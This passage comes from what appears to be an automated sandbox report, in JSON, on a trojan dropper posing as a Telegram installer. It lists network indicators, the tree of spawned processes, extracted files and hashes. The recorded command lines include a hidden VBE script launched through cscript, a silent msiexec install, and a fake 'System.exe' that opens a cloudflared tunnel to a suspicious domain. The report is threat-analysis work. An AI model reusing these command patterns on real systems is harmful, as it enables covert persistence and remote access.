9e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:624f4c25504ba431f450d8ecee2e2d0a4d87b95f7fa0b72db43f057ca021c328"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:54c0da1735bb1cb02b60c321de938488345f8d1d26bf389c8cb2acad5d01b831"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:970b59d5ae2f78af8f046d5fc6ed5ba34d80bafba14f90cda30005156628f536"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:970b59d5ae2f78af8f046d5fc6ed5ba34d80bafba14f90cda30005156628f536"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:3c5963bfbf766b1f0b265e211c08d9208b65ccbf9395e6c506a3eb5c181000b1"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:970b59d5ae2f78af8f046d5fc6ed5ba34d80bafba14f90cda30005156628f536"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:2271a674b6192cf6c8d451dde65b5f08d3c4868e095f5fe2bcb6e2cd87adc38c"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:08335662a737712d6dd2f62a01efc654d8c2cae3f6fb4e0dcd418dcf68a0e2c9"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:9fb0f1789e49100b3e7083e11943804107c9fa3b9c00d32396e07c23f348e955"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:6a870c10bc670aef6638254672c54d781fc5f14ea6c77919fe812e68626ac7ab"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:9571155da9c0384685be4e473c3287257ce9210fb9e8719e42816277a2c9ee88"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:9571155da9c0384685be4e473c3287257ce9210fb9e8719e42816277a2c9ee88"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:f665c218629f0789d285fba1a392a5b00eb56b497c58592c7f7871f2ff793f76"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:d0b808b77287912928dfb6084b321d948065df8d35705e5e4a0db4a614c3321d"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":12,"spawned_processes_count":12,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":71,"imported_dlls_count":168,"dropped_files_count":0,"extracted_files_count":26,"files_written_count":98,"files_deleted_count":0,"registry_keys_created_count":7,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":7,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":16,"dns_resolutions_count":8,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["qr_code","suspicious","account_takeover"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6abbd3ec8a3f6a99a0003a82","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Dropper.Trojan.Generic","contacted_countries":["ATG","GBR","NLD","USA"],"submit_name":"Telagrenn.exe","analysis_start_time":"2026-09-29T15:06:34+00:00","indicators_count":{"informative":288,"suspicious":110,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.51","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"95.161.76.100","port":443,"protocol":"TCP","country":"Antigua & Barbuda","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"95.161.76.100","port":80,"protocol":"TCP","country":"Antigua & Barbuda","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"149.154.167.51","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"149.154.175.100","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"149.154.175.100","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"172.64.41.4","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"142.251.214.99","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"172.217.113.4","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"194.221.250.50","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"149.154.167.220","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"149.154.175.54","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"149.154.167.41","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"149.154.175.54","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"149.154.167.41","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"address":"104.21.33.36","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}],"dns_resolutions":[{"domain":"firebaseremoteconfig.googleapis.com","address":"172.217.113.4","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"domain":"firestore.googleapis.com","country":"-","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"domain":"google.ru","address":"142.251.214.99","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"domain":"mozilla.cloudflare-dns.com","address":"172.64.41.4","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"domain":"td.telegram.org","address":"149.154.167.220","ttl":1,"country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"domain":"www.dagfgwer.com","country":"-","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"domain":"www.fergcvbt.com","address":"104.21.33.36","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"domain":"www.gerwqcs.com","country":"-","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}],"http_requests":[{"host":"149.154.175.100:80","host_ip":"149.154.175.100:80","url":"/api","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api HTTP/1.1\nHost: 149.154.175.100:80\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 292\nConnection: Keep-Alive\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,*\nUser-Agent: Mozilla/5.0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"host":"mozilla.cloudflare-dns.com","host_ip":"172.64.41.4:443","url":"/dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1\nHost: mozilla.cloudflare-dns.com\naccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36\nConnection: Keep-Alive\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,*","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"host":"mozilla.cloudflare-dns.com","host_ip":"172.64.41.4:443","url":"/dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1\nHost: mozilla.cloudflare-dns.com\naccept: application/dns-json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36\nConnection: Keep-Alive\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,*","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"host":"td.telegram.org","host_ip":"149.154.167.220:443","url":"/current4","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /current4 HTTP/1.1\nHost: td.telegram.org\nConnection: Keep-Alive\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,*\nUser-Agent: Mozilla/5.0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"host":"www.fergcvbt.com","host_ip":"104.21.33.36:443","url":"/","method":"GET","response_code":"101","response_phrase":"Switching Protocols","header":"GET / HTTP/1.1\nHost: www.fergcvbt.com\nUser-Agent: cloudflared/2025.11.1\nConnection: Upgrade\nSec-WebSocket-Key: xijjbMNuZKcjIEfKaBdvMg==\nSec-WebSocket-Version: 13\nUpgrade: websocket","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}],"processes":[{"pid":2804,"ppid":0,"name":"Telagrenn.exe","command_line":"","sha256":"f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","normalized_path":"C:\\Telagrenn.exe","uid":"00000000-00002804","icon":"$74"},{"pid":6908,"ppid":2804,"name":"cscript.exe","command_line":"/nologo \"%APPDATA%\\Telegram\\adddf.vbe\" C:\\","sha256":"8d717ab837f26ecd2cc373d8ee3037798a115ba6a9ee958269f0cff056dc5cab","normalized_path":"%WINDIR%\\SysWOW64\\cscript.exe","parent_uid":"00000000-00002804","uid":"00000000-00006908"},{"pid":7176,"ppid":2804,"name":"tsetup-x64.7.0.2.exe","command_line":"","sha256":"e6a36450632ed9312d77697a581f6869d98fc8e246db88ea6e15c17503ee644b","normalized_path":"%TEMP%\\gentee2B\\tsetup-x64.7.0.2.exe","parent_uid":"00000000-00002804","uid":"00000000-00007176"},{"pid":7736,"ppid":7176,"name":"tsetup-x64.7.0.2.tmp","command_line":"/SL5=\"$8036C,53101816,826880,%TEMP%\\gentee2B\\tsetup-x64.7.0.2.exe\"","sha256":"2271a674b6192cf6c8d451dde65b5f08d3c4868e095f5fe2bcb6e2cd87adc38c","normalized_path":"%TEMP%\\is-MJMQ8.tmp\\tsetup-x64.7.0.2.tmp","parent_uid":"00000000-00007176","uid":"00000000-00007736"},{"pid":2316,"ppid":7736,"name":"Telegram.exe","command_line":"","sha256":"d4678b4c815e607f27690d08aba4b0a19e3f22bd4e765a06a0cb3696b5c426ab","normalized_path":"%APPDATA%\\Telegram Desktop\\Telegram.exe","parent_uid":"00000000-00007736","uid":"00000000-00002316"},{"pid":1040,"ppid":7736,"name":"Telegram.exe","command_line":"","sha256":"d4678b4c815e607f27690d08aba4b0a19e3f22bd4e765a06a0cb3696b5c426ab","normalized_path":"%APPDATA%\\Telegram Desktop\\Telegram.exe","parent_uid":"00000000-00007736","uid":"00000000-00001040"},{"pid":7280,"ppid":7736,"name":"Telegram.exe","command_line":"","sha256":"d4678b4c815e607f27690d08aba4b0a19e3f22bd4e765a06a0cb3696b5c426ab","normalized_path":"%APPDATA%\\Telegram Desktop\\Telegram.exe","parent_uid":"00000000-00007736","uid":"00000000-00007280"},{"pid":6424,"ppid":2804,"name":"D5rra.exe","command_line":"","sha256":"30049fd21c0b459b16417a8f0dd2891e92a7a404c7b3de76bb88cf42be89bbed","normalized_path":"%TEMP%\\gentee2B\\D5rra.exe","parent_uid":"00000000-00002804","uid":"00000000-00006424"},{"pid":2688,"ppid":6424,"name":"D5rra.tmp","command_line":"/SL5=\"$60388,20804243,926208,%TEMP%\\gentee2B\\D5rra.exe\"","sha256":"21f15350de34eca4dd28158c814bd560cce87d00edc8e78639e15ff060c6528b","normalized_path":"%TEMP%\\is-DUFEV.tmp\\D5rra.tmp","parent_uid":"00000000-00006424","uid":"00000000-00002688"},{"pid":5572,"ppid":2688,"name":"msiexec.exe","command_line":"/i \"%TEMP%\\is-CAG3H.tmp\\cf.msi\" /qn /norestart","sha256":"8761879d9ce47bc68bf3bd8accbcd0165dd20ad05820f4f6439e11aa2afa7b01","normalized_path":"%WINDIR%\\SysWOW64\\msiexec.exe","parent_uid":"00000000-00002688","uid":"00000000-00005572"},{"pid":7060,"ppid":0,"name":"msiexec.exe","command_line":"/V","sha256":"866aeb5dd6fc4e84535cfff1d874dd3ea5f4bdad3b98fa970b0750f557055e51","normalized_path":"%WINDIR%\\system32\\msiexec.exe","uid":"00000000-00007060","icon":"$75"},{"pid":3244,"ppid":0,"name":"System.exe","command_line":"access tcp --url tcp://127.0.0.1:443 --hostname www.fergcvbt.com","sha256":"413f9b24dc6e61a455564651524f167b8ce29ac4ccd40703dea7af93cd37ed39","normalized_path":"%ALLUSERSPROFILE%\\Microsoft\\System\\System.exe","uid":"00000000-00003244","icon":"$76"}],"all_imported_dlls":["msvcp140.dll","windows.storage.dll","rsaenh.dll","tiptsf.dll","sfc_os.dll","MMDevAPI.dll","policymanager.dll","msvcrt.dll","combase.dll","shlwapi.dll","imagehlp.dll","fusion.dll","crypt32.dll","ntshrui.dll","rmclient.dll","OnDemandConnRouteHelper.dll","CoreLogic.dll","AcLayers.dll","ws2_32.dll","aepic.dll","ncrypt.dll","d3d11.dll","mswsock.dll","amsi.dll","cscapi.dll","nsi.dll","AppResolver.dll","sppc.dll","cryptnet.dll","clr.dll","comctl32.dll","netutils.dll","dxgi.dll","IPHLPAPI.DLL","msvcp110_win.dll","winnsi.dll","imm32.dll","wldp.dll","RstrtMgr.dll","GdiPlus.dll","d3d10warp.dll","coml2.dll","netprofm.dll","VxSSL64.dll","sechost.dll","genteert.dll","winsta.dll","winmmbase.dll","slc.dll","xmllite.dll","cabinet.dll","wow64.dll","shell32.dll","SHCore.dll","guig.dll","msisip.dll","CoreUIComponents.dll","setupapi.dll","dhcpcsvc.dll","user32.dll","userenv.dll","psapi.dll","d3dcompiler_47.dll","mscoreei.dll","ELSCore.dll","msi.dll","wow64win.dll","bcrypt.dll","MpOAV.dll","Windows.Media.MediaControl.dll","iertutil.dll","WindowsCodecs.dll","srpapi.dll","netapi32.dll","KernelBase.dll","propsys.dll","sxs.dll","ntasn1.dll","wtsapi32.dll","msvcp_win.dll","oleaut32.dll","cldapi.dll","dbghelp.dll","twinapi.appcore.dll","wkscli.dll","pcacli.dll","wow64cpu.dll","kernel32.dll","version.dll","mpr.dll","clbcatq.dll","dwmapi.dll","wintrust.dll","winhttp.dll","TextInputFramework.dll","Windows.Web.dll","cfgmgr32.dll","profapi.dll","msls31.dll","4B9TSh7N.dll","twinapi.dll","FWPUCLNT.DLL","bcryptprimitives.dll","cryptsp.dll","riched20.dll","usp10.dll","vcruntime140_1.dll","ucrtbase_clr0400.dll","VxSSL32.dll","msctf.dll","CoreMessaging.dll","WinTypes.dll","linkinfo.dll","dnsapi.dll","rasadhlp.dll","BCP47Langs.dll","dcomp.dll","gpapi.dll","cryptbase.dll","ExplorerFrame.dll","srvcli.dll","winmm.dll","gdi32.dll","gdi32full.dll","rpcrt4.dll","uxtheme.dll","wshext.dll","DWrite.dll","sspicli.dll","fltLib.dll","advapi32.dll","powrprof.dll","directmanipulation.dll","dhcpcsvc6.dll","winrnr.dll","webauthn.dll","ucrtbase.dll","ole32.dll","msasn1.dll","shfolder.dll","dbgcore.dll","mscoree.dll","vcruntime140.dll","devenum.dll","ResourcePolicyClient.dll","rometadata.dll","IconCodecService.dll","webio.dll","ntdll.dll","ntmarta.dll","npmproxy.dll","pnrpnsp.dll","nlaapi.dll","vcruntime140_clr0400.dll","sfc.dll","msdmo.dll","apphelp.dll","vbscript.dll","scrobj.dll","NapiNSP.dll","urlmon.dll","win32u.dll","kernel.appcore.dll","comdlg32.dll","d3d9.dll","DataExchange.dll","devobj.dll","taskschd.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"is-3R46B.tmp","sha256":"4f166e37d6fae014dd47945d1921bfb4305aace1468bfa34901abd2c2ac3d2e7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"is-4O7G3.tmp","sha256":"4867bafd3b30861dba3eca6b8a9d0d461ba086f557ed1ac51d8af2390fc200aa","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"adddf.vbe","sha256":"4ab61a28fb3175a523e528c1d6964d6005afcde98c5c2bda11b96023e7762822","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"D5rra.exe","sha256":"a8ebdfd6753dc9d593273f0ad11964dc20b3711548e69d0f28df0b9a094b059f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"tsetup-x64.7.0.2.exe","sha256":"00cb1a09a664bc3e62fd0d76cc944a52cf224807e00c551dfd01504e16abfc6d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"CoreLogic.dll","sha256":"d40398e24ee604dbcbabf87c8edd1c5d78352ae387f119bad10f29e77e78bfd4","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"System.exe","sha256":"2d694282d02c232fb883a7ae551187720a0672bcdb025ff0e337db95ea16ec33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Telegram.lnk","sha256":"9deab0de8c52ef9851366ef145ba8cf7312c16f5606c446adba60905268e5b0d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Uninstall Telegram.lnk","sha256":"b9d3ab93c6d77ad3211c8520a33200ca80ea1cd07c6a6e3939b8f225711c7c45","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"is-2BAEF.tmp","sha256":"cbaa74d8aee49d685d4345226cd54fa8b8fd5884320f2430cf581fa6c0c49089","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"is-E85C2.tmp","sha256":"ff3574c64584c9a24617417b148fd7a51e72baca58f615ee91af789c306bdf5d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"is-PVEBQ.tmp","sha256":"a05d04a270f68c8c6d6ea2d23bebf8cd1d5453b26b5442fa54965f90f1c62082","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"guig.dll","sha256":"624f4c25504ba431f450d8ecee2e2d0a4d87b95f7fa0b72db43f057ca021c328","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"genteert.dll","sha256":"54c0da1735bb1cb02b60c321de938488345f8d1d26bf389c8cb2acad5d01b831","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"27CIVH2TOQJ2H4UMULCR.temp","sha256":"970b59d5ae2f78af8f046d5fc6ed5ba34d80bafba14f90cda30005156628f536","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"5ZSO6UA4CJSLGD4R8CZ7.temp","sha256":"970b59d5ae2f78af8f046d5fc6ed5ba34d80bafba14f90cda30005156628f536","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"K666QM6SNJ8N1WNS9SO3.temp","sha256":"3c5963bfbf766b1f0b265e211c08d9208b65ccbf9395e6c506a3eb5c181000b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"OWCGWQ1A0BFXMNJOK3LV.temp","sha256":"970b59d5ae2f78af8f046d5fc6ed5ba34d80bafba14f90cda30005156628f536","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"is-7JH8E.tmp","sha256":"2271a674b6192cf6c8d451dde65b5f08d3c4868e095f5fe2bcb6e2cd87adc38c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"log_start0.txt","sha256":"08335662a737712d6dd2f62a01efc654d8c2cae3f6fb4e0dcd418dcf68a0e2c9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"log_start1.txt","sha256":"9fb0f1789e49100b3e7083e11943804107c9fa3b9c00d32396e07c23f348e955","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"0B6BAAA132866617s.QoUsKy","sha256":"6a870c10bc670aef6638254672c54d781fc5f14ea6c77919fe812e68626ac7ab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"configs.ICmQdw","sha256":"9571155da9c0384685be4e473c3287257ce9210fb9e8719e42816277a2c9ee88","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"configs.ZYSxHR","sha256":"9571155da9c0384685be4e473c3287257ce9210fb9e8719e42816277a2c9ee88","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"D877F783D5D3EF8Cs.CrOVPL","sha256":"f665c218629f0789d285fba1a392a5b00eb56b497c58592c7f7871f2ff793f76","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"D877F783D5D3EF8Cs.DUURkx","sha256":"d0b808b77287912928dfb6084b321d948065df8d35705e5e4a0db4a614c3321d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\genteert.dll","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\gentee2B.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\gentee2B\\guig.dll","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\gentee2B\\setup_temp.gea","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram\\adddf.vbe","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\gentee2B\\D5rra.exe","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\gentee2B\\tsetup-x64.7.0.2.exe","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\is-MJMQ8.tmp\\tsetup-x64.7.0.2.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\is-BHBL5.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\unins000.dat","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\is-7JH8E.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\is-E85C2.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\is-2BAEF.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\modules\\x64\\d3d\\is-PVEBQ.tmp","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Uninstall Telegram.lnk","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%USERPROFILE%\\Desktop\\Telegram.lnk","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\unins000.msg","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\log_start0.txt","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\usertag","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%TEMP%\\632f66fdaf70f47909d806511c51bcdd-{87A94AB0-E370-4cde-98D3-ACC110C5967D}","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"pipe\\Global\\a59cad72758c0ddd187ee2fa6426fdd1-{87A94AB0-E370-4cde-98D3-ACC110C5967D}","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\log.txt","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\working","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\shortcuts-default.json","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram Desktop\\tdata\\shortcuts-custom.json","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"path":"%APPDATA%\\Telegram 